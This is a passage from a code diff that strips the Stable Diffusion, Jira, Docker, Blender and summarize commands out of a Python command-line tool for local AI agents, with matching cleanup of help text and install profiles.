results to console", - ) - blender_parser.add_argument( - "--mcp-port", - type=int, - default=9876, - help="Port for the Blender MCP server (default: 9876)", - ) - - # Add SD (Stable Diffusion) image generation command - sd_parser = subparsers.add_parser( - "sd", - help="Generate images using Stable Diffusion", - parents=[parent_parser], - ) - sd_parser.add_argument( - "prompt", - nargs="?", - help="Text description of the image to generate", - ) - sd_parser.add_argument( - "-i", - "--interactive", - action="store_true", - help="Run in interactive mode", - ) - sd_parser.add_argument( - "--sd-model", - dest="sd_model", - choices=["SD-1.5", "SD-Turbo", "SDXL-Base-1.0", "SDXL-Turbo"], - default="SDXL-Turbo", - help="SD model: SDXL-Turbo (fast, good quality, default), SD-Turbo (faster but lower quality), SDXL-Base-1.0 (photorealistic, slow)", - ) - sd_parser.add_argument( - "--size", - choices=["512x512", "768x768", "1024x1024"], - help="Image size (auto-selected if not specified: 512px for SD-1.5/Turbo, 1024px for SDXL)", - ) - sd_parser.add_argument( - "--steps", - type=int, - help="Inference steps (auto-selected if not specified: 4 for Turbo, 20 for Base)", - ) - sd_parser.add_argument( - "--cfg-scale", - dest="cfg_scale", - type=float, - help="CFG scale (auto-selected if not specified: 1.0 for Turbo, 7.5 for Base)", - ) - sd_parser.add_argument( - "--output-dir", - default=".gaia/cache/sd/images", - help="Directory to save generated images", - ) - sd_parser.add_argument( - "--seed", - type=int, - help="Random seed for reproducibility", - ) - sd_parser.add_argument( - "--no-open", - action="store_true", - help="Skip prompt to open image in viewer (for automation/scripting)", - ) - - # Add Jira app command - jira_parser = subparsers.add_parser( - "jira", - help="Natural language interface for Atlassian tools (Jira, Confluence, Compass)", - parents=[parent_parser], - ) - jira_parser.add_argument( - "command", - nargs="?", - help="Natural language command to execute (e.g., 'Create a bug report for login issue')", - ) - jira_parser.add_argument( - "-i", - "--interactive", - action="store_true", - help="Run in interactive mode for continuous commands", - ) - jira_parser.add_argument( - "--mcp-host", - default="localhost", - help="MCP bridge host (default: localhost)", - ) - jira_parser.add_argument( - "--mcp-port", - type=int, - default=8765, - help="MCP bridge port (default: 8765)", - ) - jira_parser.add_argument( - "-v", - "--verbose", - action="store_true", - help="Enable verbose output", - ) - jira_parser.add_argument( - "-d", - "--debug", - action="store_true", - help="Enable debug logging", - ) - # Add Email Triage Agent command (#962) email_parser = subparsers.add_parser( "email", @@ -1972,35 +1572,6 @@ def build_parser(): "--session-id", default="cli", help=_AUTONOMY_SESSION_HELP ) - # Add Docker app command - docker_parser = subparsers.add_parser( - "docker", - help="Natural language interface for Docker containerization", - parents=[parent_parser], - ) - docker_parser.add_argument( - "command", - help="Natural language command to execute (e.g., 'Create a Dockerfile for my Flask app')", - ) - docker_parser.add_argument( - "-d", - "--directory", - default=".", - help="Directory to analyze/containerize (default: current directory)", - ) - docker_parser.add_argument( - "-v", - "--verbose", - action="store_true", - help="Enable verbose output", - ) - docker_parser.add_argument( - "--debug", - action="store_true", - help="Enable debug logging", - ) - docker_parser.set_defaults(action="docker") - # Add API server command api_parser = subparsers.add_parser( "api", @@ -2231,16 +1802,13 @@ def build_parser(): # Download models for chat agent only gaia download --agent chat - # Download models for code agent - gaia download --agent code - # List available agents and their required models gaia download --list # Delete all downloaded GAIA models (free up disk space) gaia download --clear-cache -Available agents: chat, code, talk, rag, blender, jira, docker, vlm, minimal, mcp +Available agents: chat, talk, rag, vlm, minimal, mcp """, ) download_parser.add_argument( @@ -2921,20 +2489,6 @@ def build_parser(): help="Bearer token if the bridge requires one (default: $GAIA_MCP_AUTH_TOKEN)", ) - # MCP Docker command (per-agent MCP server) - mcp_docker_parser = mcp_subparsers.add_parser( - "docker", help="Start Docker MCP server (per-agent architecture)" - ) - mcp_docker_parser.add_argument( - "--host", default="localhost", help="Host to bind to (default: localhost)" - ) - mcp_docker_parser.add_argument( - "--port", type=int, default=8080, help="Port to listen on (default: 8080)" - ) - mcp_docker_parser.add_argument( - "--verbose", action="store_true", help="Enable verbose logging" - ) - # MCP serve command (Agent UI MCP server) mcp_serve_parser = mcp_subparsers.add_parser( "serve", help="Start Agent UI MCP server (wraps the Agent UI backend)" @@ -3338,7 +2892,6 @@ def build_parser(): "minimal", "sd", "chat", - "code", "rag", "mcp", "vlm", @@ -3346,7 +2899,7 @@ def build_parser(): "npu", "all", ], - help="Profile to initialize: minimal, sd (image gen), chat, code, rag, mcp, vlm (vision), email (Gmail/Outlook triage), npu (Ryzen AI NPU), all (default: chat)", + help="Profile to initialize: minimal, sd (image gen), chat, rag, mcp, vlm (vision), email (Gmail/Outlook triage), npu (Ryzen AI NPU), all (default: chat)", ) init_parser.add_argument( "--minimal", @@ -3734,7 +3287,7 @@ def main(): return # Handle core Gaia CLI commands - if args.action in ["prompt", "chat", "browse", "analyze", "talk", "stats"]: + if args.action in ["prompt", "chat", "talk", "stats"]: kwargs = { k: v for k, v in vars(args).items() if v is not None and k != "action" } @@ -3752,414 +3305,6 @@ def main(): sys.exit(1) return - # Handle summarize command - if args.action == "summarize": - - from gaia.apps.summarize.app import SummarizerApp, SummaryConfig - from gaia.apps.summarize.html_viewer import HTMLViewer - - # Handle list-configs option - if args.list_configs: - import gaia.apps.summarize.app - - config_dir = Path(gaia.apps.summarize.app.__file__).parent / "configs" - if config_dir.exists(): - print("\nAvailable summarization configurations:\n") - for config_file in sorted(config_dir.glob("*.json")): - try: - with open(config_file, encoding="utf-8") as f: - config_data = json.load(f) - name = config_file.stem - desc = config_data.get("description", "No description") - print(f"{name:<20} - {desc}") - except (json.JSONDecodeError, OSError) as e: - log.debug(f"Failed to read config file {config_file}: {e}") - print("\nUse: gaia summarize --config ") - else: - print("No configuration templates found.") - return - - # Validate required arguments (input not required for --list-configs) - if not args.list_configs and not args.input: - # Show help instead of just an error - print("\nUsage: gaia summarize -i INPUT [options]\n") - print("Summarize meeting transcripts and emails\n") - print("Required arguments:") - print(" -i, --input INPUT Input file or directory path\n") - print("Common options:") - print( - " -o, --output OUTPUT Output file/directory path (auto-adjusted based on format)" - ) - print( - " -f, --format FORMAT Output format: json, pdf, email, both (default: json)" - ) - print( - " --styles STYLES Summary style(s): brief, detailed, bullets, executive," - ) - print(" participants, action_items, all") - print( - " (default: executive participants action_items)" - ) - print( - " --config CONFIG Use predefined configuration from configs/ directory" - ) - print(" --list-configs List all available configuration templates\n") - print("Examples:") - print(" gaia summarize -i meeting.txt -o summary.json") - print(" gaia summarize -i meeting.txt --styles executive action_items") - print(" gaia summarize -i ./transcripts/ -o ./summaries/") - print(" gaia summarize --list-configs\n") - print("For full help: gaia summarize --help") - sys.exit(1) - - # Handle "all" style - if "all" in args.styles: - args.styles = [ - "brief", - "detailed", - "bullets", - "executive", - "participants", - "action_items", - ] - - # Validate email format requirements - if args.format == "email": - if Path(args.input).is_dir(): - print( - "❌ Error: Email format only supports single file input, not directories" - ) - sys.exit(1) - if not args.email_to: - print("❌ Error: --email-to is required for email output format") - sys.exit(1) - - # Validate email addresses - from gaia.apps.summarize.app import validate_email_list - - try: - validate_email_list(args.email_to) - if args.email_cc: - validate_email_list(args.email_cc) - except ValueError as e: - print(f"❌ Error: {e}") - sys.exit(1) - - # Load configuration if specified - if args.config: - import gaia.apps.summarize - - config_path = ( - Path(gaia.apps.summarize.__file__).parent - / "configs" - / f"{args.config}.json" - ) - if config_path.exists(): - with open(config_path, encoding="utf-8") as f: - config_data = json.load(f) - # Apply config values - if "styles" in config_data: - args.styles = config_data["styles"] - if "format" in config_data: - args.format = config_data["format"] - if "max_tokens" in config_data: - args.max_tokens = config_data["max_tokens"] - if "combined_prompt" in config_data: - args.combined_prompt = config_data["combined_prompt"] - log.info(f"Loaded configuration from {args.config}") - else: - print(f"❌ Error: Configuration file '{args.config}' not found") - sys.exit(1) - - # Set logging level - if args.verbose: - log_manager.set_level("gaia.apps.summarize", logging.DEBUG) - elif args.quiet: - log_manager.set_level("gaia.apps.summarize", logging.WARNING) - - # Create summarizer config - config = SummaryConfig( - model=args.model, - max_tokens=args.max_tokens, - input_type=args.type, - styles=args.styles, - combined_prompt=args.combined_prompt, - ) - - # Create summarizer app - app = SummarizerApp(config) - - try: - input_path = Path(args.input) - - if input_path.is_file(): - # Single file processing - if not args.quiet: - print(f"Summarizing file: {input_path}") - - result = app.summarize_file(input_path) - - # Handle output - if args.format == "json": - output_path = args.output or input_path.with_suffix(".summary.json") - with open(output_path, "w", encoding="utf-8") as f: - json.dump(result, f, indent=2) - print(f"✅ Summary saved to: {output_path}") - - # Create and open HTML viewer unless disabled - if not args.no_viewer: - html_path = HTMLViewer.create_and_open( - result, output_path, auto_open=True - ) - print(f"🌐 HTML viewer created: {html_path}") - print( - " (Use --no-viewer to disable automatic HTML generation)" - ) - - elif args.format == "email": - # Email output - show preview and open email client - print("\n📧 Email Preview:") - print(f"To: {args.email_to}") - if args.email_cc: - print(f"CC: {args.email_cc}") - subject = args.email_subject or f"Summary - {input_path.stem}" - print(f"Subject: {subject}") - - # Build email body - email_body = f"Summary of: {input_path.name}\n" - email_body += "=" * 50 + "\n\n" - - # Add summaries based on result structure - if "summary" in result: - # Single style output - email_body += result["summary"]["text"] + "\n\n" - if "items" in result["summary"]: - email_body += "Action Items:\n" - for item in result["summary"]["items"]: - email_body += f" • {item}\n" - email_body += "\n" - else: - # Multiple styles output - for style, summary_data in result["summaries"].items(): - email_body += f"{style.upper().replace('_', ' ')}:\n" - email_body += "-" * 30 + "\n" - if "text" in summary_data: - email_body += summary_data["text"] + "\n" - if "items" in summary_data: - for item in summary_data["items"]: - email_body += f" • {item}\n" - if "participants" in summary_data: - for participant in summary_data["participants"]: - email_body += f" • {participant}\n" - email_body += "\n" - - # Show preview of email body - print("\nEmail Body Preview (first 500 chars):") - print("-" * 50) - print(email_body[:500] + ("..." if len(email_body) > 500 else "")) - print("-" * 50) - - print("\nPress Enter to open email client, or Ctrl+C to cancel...") - try: - input() - - # Create mailto URL - import platform - import urllib.parse - - mailto_params = { - "subject": subject, - "body": email_body[ - :2000 - ], # Limit body to avoid URL length issues - } - if args.email_cc: - mailto_params["cc"] = args.email_cc - - # Build mailto URL - params_str = urllib.parse.urlencode( - mailto_params, quote_via=urllib.parse.quote - ) - mailto_url = f"mailto:{args.email_to}?{params_str}" - - # Open email client - system = platform.system() - try: - if system == "Windows": - # os.startfile uses ShellExecute (no shell parsing), - # safe for the user-built mailto URL (which contains - # '&'-separated query params cmd would mis-parse). - # Windows-only attr; guarded by the platform check. - os.startfile(mailto_url) # pylint: disable=no-member - elif system == "Darwin": # macOS - subprocess.run(["open", mailto_url], check=True) - else: # Linux/Unix - subprocess.run(["xdg-open", mailto_url], check=True) - print("✅ Email client opened successfully") - except subprocess.CalledProcessError: - print( - "❌ Failed to open email client. Please check your default email client settings." - ) - except Exception as e: - print(f"❌ Error opening email client: {e}") - - except KeyboardInterrupt: - print("\nCancelled.") - - elif args.format in ["pdf", "both"]: - # Generate PDF output - try: - from gaia.apps.summarize.pdf_formatter import ( - HAS_REPORTLAB, - PDFFormatter, - ) - - if not HAS_REPORTLAB: - print( - "❌ Error: PDF output requires reportlab. Install with: uv pip install reportlab" - ) - if args.format == "both": - print( - "ℹ️ JSON output was still generated successfully." - ) - sys.exit(1) - - formatter = PDFFormatter() - pdf_path = Path( - args.output or input_path.with_suffix(".summary.pdf") - ) - - # Generate PDF - formatter.format_summary_as_pdf(result, pdf_path) - print(f"✅ PDF summary saved to: {pdf_path}") - - # Also save JSON if format is "both" - if args.format == "both": - json_path = pdf_path.with_suffix(".json") - with open(json_path, "w", encoding="utf-8") as f: - json.dump(result, f, indent=2) - print(f"✅ JSON summary saved to: {json_path}") - - # Create HTML viewer for JSON - if not args.no_viewer: - html_path = HTMLViewer.create_and_open( - result, json_path, auto_open=True - ) - print(f"🌐 HTML viewer created: {html_path}") - - except ImportError as e: - print(f"❌ Error: {e}") - if args.format == "both": - # Fall back to JSON only - json_path = Path( - args.output or input_path.with_suffix(".summary.json") - ) - with open(json_path, "w", encoding="utf-8") as f: - json.dump(result, f, indent=2) - print(f"✅ JSON summary saved to: {json_path}") - print( - "ℹ️ PDF generation skipped due to missing dependencies." - ) - else: - sys.exit(1) - except Exception as e: - print(f"❌ Error generating PDF: {e}") - sys.exit(1) - - elif input_path.is_dir(): - # Directory batch processing - if not args.quiet: - print(f"Summarizing directory: {input_path}") - - results = app.summarize_directory(input_path) - - if not results: - print("❌ No files found to summarize") - sys.exit(1) - - # Save results - output_dir = Path(args.output or "./summaries") - output_dir.mkdir(exist_ok=True) - - # Check if we need PDF formatter - pdf_formatter = None - if args.format in ["pdf", "both"]: - try: - from gaia.apps.summarize.pdf_formatter import ( - HAS_REPORTLAB, - PDFFormatter, - ) - - if HAS_REPORTLAB: - pdf_formatter = PDFFormatter() - else: - print( - "⚠️ Warning: PDF output requires reportlab. Install with: uv pip install reportlab" - ) - if args.format == "pdf": - print("❌ Cannot generate PDF files without reportlab.") - sys.exit(1) - except ImportError: - print("⚠️ Warning: PDF formatter not available") - if args.format == "pdf": - sys.exit(1) - - for i, result in enumerate(results): - input_file = result["metadata"]["input_file"] - base_name = Path(input_file).stem - - files_created = [] - - # Save JSON if needed - if args.format in ["json", "both"]: - json_path = output_dir / f"{base_name}.summary.json" - with open(json_path, "w", encoding="utf-8") as f: - json.dump(result, f, indent=2) - files_created.append(json_path.name) - - # Create HTML viewer for JSON (don't auto-open for batch) - if not args.no_viewer: - html_path = HTMLViewer.create_and_open( - result, - json_path, - auto_open=False, # Don't open browser for each file in batch - ) - files_created.append(html_path.name) - - # Save PDF if needed - if args.format in ["pdf", "both"] and pdf_formatter: - pdf_path = output_dir / f"{base_name}.summary.pdf" - try: - pdf_formatter.format_summary_as_pdf(result, pdf_path) - files_created.append(pdf_path.name) - except Exception as e: - print( - f"⚠️ Warning: Failed to generate PDF for {base_name}: {e}" - ) - - if not args.quiet and files_created: - print( - f"✅ [{i+1}/{len(results)}] {Path(input_file).name} → {', '.join(files_created)}" - ) - - print( - f"\n✅ Processed {len(results)} files. Summaries saved to: {output_dir}" - ) - if not args.no_viewer and args.format in ["json", "both"]: - print(" 📂 HTML viewers created for each JSON file") - print(" 💡 Open any .html file to view the formatted summary") - - else: - print(f"❌ Error: Input path does not exist: {input_path}") - sys.exit(1) - - except Exception as e: - log.error(f"Error during summarization: {e}") - print(f"❌ Error: {e}") - sys.exit(1) - - return - # Handle utility commands if args.action == "test": log.info(f"Running test type: {args.test_type}") @@ -4422,7 +3567,7 @@ def main(): print(" To delete them, restart Lemonade Server and try again:") print() print( - " 1. Close any running GAIA commands (gaia chat, gaia code, etc.)" + " 1. Close any running GAIA commands (gaia chat, gaia email, etc.)" ) print( f" 2. Restart Lemonade Server " @@ -5094,30 +4239,10 @@ def _progress(index, total, result): handle_agent_command(args) return - # Handle Blender command - if args.action == "blender": - handle_blender_command(args) - return - - # Handle SD (image generation) command - if args.action == "sd": - handle_sd_command(args) - return - - # Handle Jira command - if args.action == "jira": - handle_jira_command(args) - return - if args.action == "email": handle_email_command(args) return - # Handle Docker command - if args.action == "docker": - handle_docker_command(args) - return - # Handle API server command if args.action == "api": handle_api_command(args) @@ -5369,153 +4494,6 @@ def kill_process_by_port(port): } -def wait_for_user(): - """Wait for user to press Enter before continuing.""" - input("Press Enter to continue to the next example...") - - -def run_blender_examples(agent, selected_example=None, print_result=True): - """ - Run the Blender agent example demonstrations. - - Args: - agent: The BlenderAgent instance - selected_example: Optional example number to run specifically - print_result: Whether to print the result - """ - console = agent.console - - examples = { - 1: { - "name": "Clearing the scene", - "description": "This example demonstrates how to clear all objects from a scene.", - "query": "Clear the scene to start fresh", - }, - 2: { - "name": "Creating a basic cube", - "description": "This example creates a red cube at the center of the scene.", - "query": "Create a red cube at the center of the scene and make sure it has a red material", - }, - 3: { - "name": "Creating a sphere with specific properties", - "description": "This example creates a blue sphere with specific parameters.", - "query": "Create a blue sphere at position (3, 0, 0) and set its scale to (2, 2, 2)", - }, - 4: { - "name": "Creating multiple objects", - "description": "This example creates multiple objects with specific arrangements.", - "query": "Create a green cube at (0, 0, 0) and a red sphere 3 units above it", - }, - 5: { - "name": "Creating and modifying objects", - "description": "This example creates objects and then modifies them.", - "query": "Create a blue cylinder, then make it taller and move it up 2 units", - }, - } - - # If a specific example is requested, run only that one - if selected_example and selected_example in examples: - example = examples[selected_example] - console.print_header(f"=== Example {selected_example}: {example['name']} ===") - console.print_header(example["description"]) - agent.process_query(example["query"]) - agent.display_result(print_result=print_result) - return - - # Run all examples in sequence - for idx, example in examples.items(): - console.print_header(f"=== Example {idx}: {example['name']} ===") - console.print_header(example["description"]) - agent.process_query(example["query"], trace=True) - agent.display_result(print_result=print_result) - - # Wait for user input between examples, except the last one - if idx < len(examples): - wait_for_user() - - -def run_blender_interactive_mode(agent, print_result=True): - """ - Run the Blender Agent in interactive mode where the user can continuously input queries. - - Args: - agent: The BlenderAgent instance - print_result: Whether to print the result - """ - console = agent.console - console.print_header("=== Blender Interactive Mode ===") - console.print_header( - "Enter your 3D scene queries. Type 'exit', 'quit', or 'q' to exit." - ) - - while True: - try: - query = input("\nEnter Blender query: ") - if query.lower() in ["exit", "quit", "q"]: - console.print_header("Exiting Blender interactive mode.") - break - - if query.strip(): # Process only non-empty queries - agent.process_query(query) - agent.display_result(print_result=print_result) - - except KeyboardInterrupt: - console.print_header("\nBlender interactive mode interrupted. Exiting.") - break - except Exception as e: - console.print_error(f"Error processing Blender query: {e}") - - -def handle_jira_command(args): - """ - Handle the Jira app command. - - Args: - args: Parsed command line arguments for the jira command - """ - log = get_logger(__name__) - - # Initialize Lemonade with jira agent profile (32768 context) - # Skip if --no-lemonade-check is specified - if not getattr(args, "no_lemonade_check", False): - success, _ = initialize_lemonade_for_agent( - agent="jira", - skip_if_external=True, - use_claude=getattr(args, "use_claude", False), - use_chatgpt=getattr(args, "use_chatgpt", False), - base_url=getattr(args, "base_url", None), - ) - if not success: - sys.exit(1) - - try: - # Import and use JiraApp directly (no MCP needed) - from gaia.apps.jira.app import main as jira_main - - # Pass the arguments directly to the Jira app - # The app expects certain arguments, so we need to ensure they're set - if not hasattr(args, "verbose"): - args.verbose = False - if not hasattr(args, "debug"): - args.debug = False - if not hasattr(args, "model"): - args.model = None - - # Run the Jira app's main function - result = asyncio.run(jira_main(args)) - sys.exit(result) - - except ImportError as e: - log.error(f"Failed to import Jira app: {e}") - print("❌ Error: Jira app components are not available") - print("Make sure GAIA is installed properly: uv pip install -e .") - sys.exit(1) - except Exception as e: - log.error(f"Error running Jira app: {e}") - print(f"❌ Error: {e}") - sys.exit(1) - - def handle_email_command(args): """ Handle the ``gaia email`` command — a thin client over the GAIA daemon (V2-8). @@ -5802,58 +4780,6 @@ def handle_email_autonomy_command(args) -> None: sys.exit(0) -def handle_docker_command(args): - """ - Handle the Docker app command. - - Args: - args: Parsed command line arguments for the docker command - """ - log = get_logger(__name__) - - # Initialize Lemonade with docker agent profile (32768 context) - # Skip if --no-lemonade-check is specified - if not getattr(args, "no_lemonade_check", False): - success, _ = initialize_lemonade_for_agent( - agent="docker", - skip_if_external=True, - use_claude=getattr(args, "use_claude", False), - use_chatgpt=getattr(args, "use_chatgpt", False), - base_url=getattr(args, "base_url", None), - ) - if not success: - sys.exit(1) - - try: - # Import and use DockerApp directly - from gaia.apps.docker.app import main as docker_main - - # Pass the arguments directly to the Docker app - # The app expects certain arguments, so we need to ensure they're set - if not hasattr(args, "verbose"): - args.verbose = False - if not hasattr(args, "debug"): - args.debug = False - if not hasattr(args, "model"): - args.model = None - if not hasattr(args, "directory"): - args.directory = "." - - # Run the Docker app's main function - result = asyncio.run(docker_main(args)) - sys.exit(result) - - except ImportError as e: - log.error(f"Failed to import Docker app: {e}") - print("❌ Error: Docker app components are not available") - print("Make sure GAIA is installed properly: uv pip install -e .") - sys.exit(1) - except Exception as e: - log.error(f"Error running Docker app: {e}") - print(f"❌ Error: {e}") - sys.exit(1) - - def handle_api_command(args): """ Handle the API server command. @@ -5968,273 +4894,6 @@ def handle_perf_vis_command(args): sys.exit(exit_code) -def handle_sd_command(args): - """ - Handle the SD (Stable Diffusion) image generation command. - - Args: - args: Parsed command line arguments for the sd command - """ - # No prompt and not interactive - show help (no server needed) - if not args.prompt and not args.interactive: - print("Usage: gaia sd [options]") - print(" gaia sd -i (interactive mode)") - print() - print("Examples:") - print(' gaia sd "a sunset over mountains"') - print(' gaia sd "cyberpunk city" --sd-model SDXL-Turbo --size 1024x1024') - print(" gaia sd -i") - return - - try: - from gaia_agent_sd import SDAgent, SDAgentConfig - except ImportError as e: - raise ImportError( - agent_not_installed_message( - "The sd agent is not installed", - "gaia-agent-sd", - next_step="See https://amd-gaia.ai/docs/guides/sd.", - ) - ) from e - - # Ensure Lemonade is ready with proper context size for SD agent - # SD agent needs 8K context for image + story workflow - success, _ = initialize_lemonade_for_agent( - agent="sd", - use_claude=getattr(args, "use_claude", False), - use_chatgpt=getattr(args, "use_chatgpt", False), - quiet=False, - base_url=getattr(args, "base_url", None), - ) - - if not success and not ( - getattr(args, "use_claude", False) or getattr(args, "use_chatgpt", False) - ): - print("Failed to initialize Lemonade Server with required 8K context.") - print( - f"Restart it with an 8192 token context. {describe_start_hint(8192).instruction}" - ) - sys.exit(1) - - # Create config - ensure LLM model is set - llm_model = getattr(args, "model", None) - if not llm_model: - llm_model = "Gemma-4-E4B-it-GGUF" # Default LLM for prompt enhancement - - config = SDAgentConfig( - sd_model=args.sd_model, - output_dir=args.output_dir, - prompt_to_open=not args.no_open, - show_stats=getattr(args, "stats", False), - use_claude=getattr(args, "use_claude", False), - use_chatgpt=getattr(args, "use_chatgpt", False), - base_url=getattr(args, "base_url", "http://localhost:13305/api/v1"), - model_id=llm_model, - ) - - # Create agent with LLM prompt enhancement - agent = SDAgent(config) - - # Check health - health = agent.sd_health_check() - if health["status"] != "healthy": - print(f"Error: {health.get('error', 'SD endpoint unavailable')}") - print("Make sure Lemonade Server is running and SD model is available:") - print(f" {describe_start_hint().instruction}") - print(f" {describe_client_hint('pull', args.sd_model).instruction}") - sys.exit(1) - - print() - print("=" * 80) - print(f"🖼️ SD Image Generator - {args.sd_model}") - print("=" * 80) - print("LLM-powered prompt enhancement for better image quality") - print(f"Output: {args.output_dir}") - if not args.no_open: - print("You'll be prompted to open images after generation") - print("=" * 80) - print() - - # Interactive mode - if args.interactive: - print("Type 'quit' to exit.") - print() - - while True: - try: - user_prompt = input("You: ").strip() - if not user_prompt: - continue - if user_prompt.lower() in ("quit", "exit", "q"): - print("Goodbye!") - break - - # Track images before this query - initial_count = len(agent.sd_generations) - - # Use agent.process_query() for LLM enhancement - result = agent.process_query(user_prompt) - if result.get("final_answer"): - print(f"\nAgent: {result['final_answer']}\n") - else: - print("\nAgent: Generation complete\n") - - # Prompt to open image(s) after agent completes - if not args.no_open and result.get("status") != "error": - try: - # Get all newly generated images from this query - new_images = agent.sd_generations[initial_count:] - - if new_images: - num_images = len(new_images) - prompt_text = ( - f"Open {num_images} images in default viewer? [Y/n]: " - if num_images > 1 - else "Open image in default viewer? [Y/n]: " - ) - response = input(prompt_text).strip().lower() - - if response in ("", "y", "yes"): - for img in new_images: - path = str(Path(img["image_path"]).resolve()) - if sys.platform == "win32": - os.startfile(path) # pylint: disable=no-member - elif sys.platform == "darwin": - subprocess.run(["open", path], check=False) - else: - subprocess.run(["xdg-open", path], check=False) - plural = "s" if num_images > 1 else "" - print(f"[{num_images} image{plural} opened]\n") - except (KeyboardInterrupt, EOFError): - pass - - except KeyboardInterrupt: - print("\nGoodbye!") - break - - # Single prompt mode - else: - # Track images before this command - initial_count = len(agent.sd_generations) - - # Use agent.process_query() for LLM enhancement - result = agent.process_query(args.prompt) - if result.get("final_answer"): - print(f"\n{result['final_answer']}\n") - - # Prompt to open image(s) after agent completes - if not args.no_open and result.get("status") != "error": - try: - # Get all newly generated images from this command - new_images = agent.sd_generations[initial_count:] - - if new_images: - num_images = len(new_images) - prompt_text = ( - f"Open {num_images} images in default viewer? [Y/n]: " - if num_images > 1 - else "Open image in default viewer? [Y/n]: " - ) - response = input(prompt_text).strip().lower() - - if response in ("", "y", "yes"): - for img in new_images: - path = str(Path(img["image_path"]).resolve()) - if sys.platform == "win32": - os.startfile(path) # pylint: disable=no-member - elif sys.platform == "darwin": - subprocess.run(["open", path], check=False) - else: - subprocess.run(["xdg-open", path], check=False) - plural = "s" if num_images > 1 else "" - print(f"[{num_images} image{plural} opened]\n") - except (KeyboardInterrupt, EOFError): - pass - - -def handle_blender_command(args): - """ - Handle the Blender agent command. - - Args: - args: Parsed command line arguments for the blender command - """ - log = get_logger(__name__) - - # Check if Blender components are available - if not BLENDER_AVAILABLE: - print("❌ Error: Blender agent components are not available") - print('Install blender dependencies with: uv pip install -e ".[blender]"') - sys.exit(1) - - # Initialize Lemonade with blender agent profile (32768 context) - # Skip if --no-lemonade-check is specified - if not getattr(args, "no_lemonade_check", False): - log.info("Initializing Lemonade for Blender agent...") - success, _ = initialize_lemonade_for_agent( - agent="blender", - skip_if_external=True, - use_claude=getattr(args, "use_claude", False), - use_chatgpt=getattr(args, "use_chatgpt", False), - base_url=getattr(args, "base_url", None), - ) - if not success: - sys.exit(1) - - # Check if Blender MCP server is running - mcp_port = getattr(args, "mcp_port", 9876) - log.info(f"Checking Blender MCP server connectivity on port {mcp_port}...") - if not check_mcp_health(port=mcp_port): - print_mcp_error() - print(f"Note: Checking for MCP server on port {mcp_port}", file=sys.stderr) - sys.exit(1) - log.info("✅ Blender MCP server is accessible") - - # Create output directory if specified - output_dir = args.output_dir - if output_dir: - os.makedirs(output_dir, exist_ok=True) - - try: - # Create MCP client with custom port if specified - mcp_client = MCPClient(host="localhost", port=mcp_port) - - # Get base_url from args or environment - base_url = getattr(args, "base_url", None) - - # Create the BlenderAgent - agent = BlenderAgent( - mcp=mcp_client, - model_id=args.model, - base_url=base_url, - max_steps=args.steps, - output_dir=output_dir, - streaming=args.stream, - show_stats=args.show_stats, - debug_prompts=args.debug_prompts, - ) - - # Run in interactive mode if specified - if args.interactive: - run_blender_interactive_mode(agent, print_result=args.print_result) - # Process a custom query if provided - elif args.query: - agent.console.print_header(f"Processing Blender query: '{args.query}'") - agent.process_query(args.query) - agent.display_result(print_result=args.print_result) - # Run specific example if provided, otherwise run all examples - else: - run_blender_examples( - agent, selected_example=args.example, print_result=args.print_result - ) - - except Exception as e: - blender_log = get_logger(__name__) - blender_log.error(f"Error running Blender agent: {e}") - print(f"❌ Error: {e}") - sys.exit(1) - - def _print_knowledge_usage(client): """Print a one-line credit-usage summary for a Tavily client.""" usage = client.usage() @@ -8438,8 +7097,6 @@ def handle_mcp_command(args): handle_mcp_test(args) elif args.mcp_action == "agent": handle_mcp_agent(args) - elif args.mcp_action == "docker": - handle_mcp_docker(args) elif args.mcp_action == "serve": handle_mcp_serve(args) elif args.mcp_action == "tui": @@ -9057,40 +7714,6 @@ def handle_mcp_agent(args): print(f"❌ Error running MCP agent test: {e}") -def handle_mcp_docker(args): - """Start the Docker MCP server (per-agent architecture).""" - log = get_logger(__name__) - - try: - from gaia.mcp.servers.docker_mcp import start_docker_mcp - - print("=" * 60) - print("🐳 GAIA Docker MCP Server") - print("=" * 60) - print(f"Starting on {args.host}:{args.port}") - if args.verbose: - print("🔍 Verbose mode: ENABLED") - print("\nPress Ctrl+C to stop") - print("=" * 60) - - # Start the Docker MCP server - start_docker_mcp( - port=args.port, - host=args.host, - verbose=args.verbose, - ) - - except KeyboardInterrupt: - print("\n✅ Docker MCP server stopped") - except ImportError as e: - log.error(f"Failed to import Docker MCP server: {e}") - print("❌ Error: Could not load Docker MCP server") - print(f" {e}") - except Exception as e: - log.error(f"Error starting Docker MCP server: {e}") - print(f"❌ Error starting Docker MCP server: {e}") - - def handle_mcp_serve(args): """Start the Agent UI MCP server (wraps the GAIA Agent UI REST API).""" log = get_logger(__name__) diff --git a/src/gaia/hub/packager.py b/src/gaia/hub/packager.py index 76d1ef7f2..3a53f48ba 100644 --- a/src/gaia/hub/packager.py +++ b/src/gaia/hub/packager.py @@ -64,7 +64,7 @@ def _normalize_wheel_stem(dist_name: str) -> str: """Return the wheel-escaped distribution name. PEP 427 escapes runs of ``-_.`` in the distribution name to a single ``_``, - so ``gaia-agent-summarize`` becomes ``gaia_agent_summarize`` in the wheel + so ``gaia-agent-email`` becomes ``gaia_agent_email`` in the wheel filename. We use this to locate the wheel ``python -m build`` produced. """ return re.sub(r"[-_.]+", "_", dist_name).lower() diff --git a/src/gaia/installer/init_command.py b/src/gaia/installer/init_command.py index 2d2e9f202..412b42b09 100644 --- a/src/gaia/installer/init_command.py +++ b/src/gaia/installer/init_command.py @@ -92,15 +92,6 @@ def is_embedding_model_id(model_id: str) -> bool: "min_context_size": 32768, "pip_extras": ["rag"], }, - "code": { - "description": "Autonomous coding assistant", - "agent": "code", - "models": ["Gemma-4-E4B-it-GGUF"], - "approx_size": "~3 GB", - "min_lemonade_version": "10.2.0", - "min_context_size": 32768, - "pip_extras": [], - }, "rag": { "description": "Document Q&A with retrieval", "agent": "rag", @@ -308,7 +299,7 @@ def __init__( Initialize the init command. Args: - profile: Profile to initialize (minimal, chat, code, rag, all) + profile: Profile to initialize (minimal, chat, rag, all) skip_models: Skip model downloads skip_lemonade: Skip Lemonade installation check (for CI) force_reinstall: Force reinstall even if compatible version exists @@ -2253,11 +2244,9 @@ def _print_completion(self): # Profile-specific quick start commands if self.profile == "sd": self.console.print( - ' [cyan]gaia sd "create a cute robot kitten and tell me a story"[/cyan]' - ) - self.console.print(' [cyan]gaia sd "sunset over mountains"[/cyan]') - self.console.print( - " [cyan]gaia sd -i[/cyan] Interactive mode" + " [cyan]gaia chat[/cyan] " + "Then ask for an image — image generation runs through the " + "agent's SD tools" ) elif self.profile == "chat": self.console.print( 